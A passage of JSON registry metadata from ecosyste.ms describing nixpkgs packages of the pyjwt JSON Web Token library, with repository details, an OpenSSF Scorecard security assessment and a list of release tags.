api/v1/registries/nixpkgs-24.05/packages/python311Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":31,"html_url":null,"role":null,"created_at":"2026-03-07T07:09:56.032Z","updated_at":"2026-03-07T07:09:56.032Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-24.05","url":"https://channels.nixos.org/nixos-24.05","ecosystem":"nixpkgs","default":false,"packages_count":116156,"maintainers_count":3383,"namespaces_count":0,"keywords_count":654,"github":"NixOS","metadata":{"funded_packages_count":264},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.309Z","updated_at":"2026-06-09T05:04:49.559Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/namespaces"}},{"id":13298340,"name":"python310Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T06:33:01.518Z","latest_release_published_at":"2026-02-02T06:33:01.518Z","latest_release_number":"2.8.0","last_synced_at":"2026-03-07T07:41:43.405Z","created_at":"2026-02-02T06:32:59.266Z","updated_at":"2026-05-29T04:00:36.198Z","registry_url":"https://search.nixos.org/packages?channel=23.11\u0026query=python310Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python310Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.11/pkgs/development/python-modules/pyjwt/default.nix#L57","metadata":{"nix_attribute":"python3.10-pyjwt-2.8.0","position":"pkgs/development/python-modules/pyjwt/default.nix:57","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependenc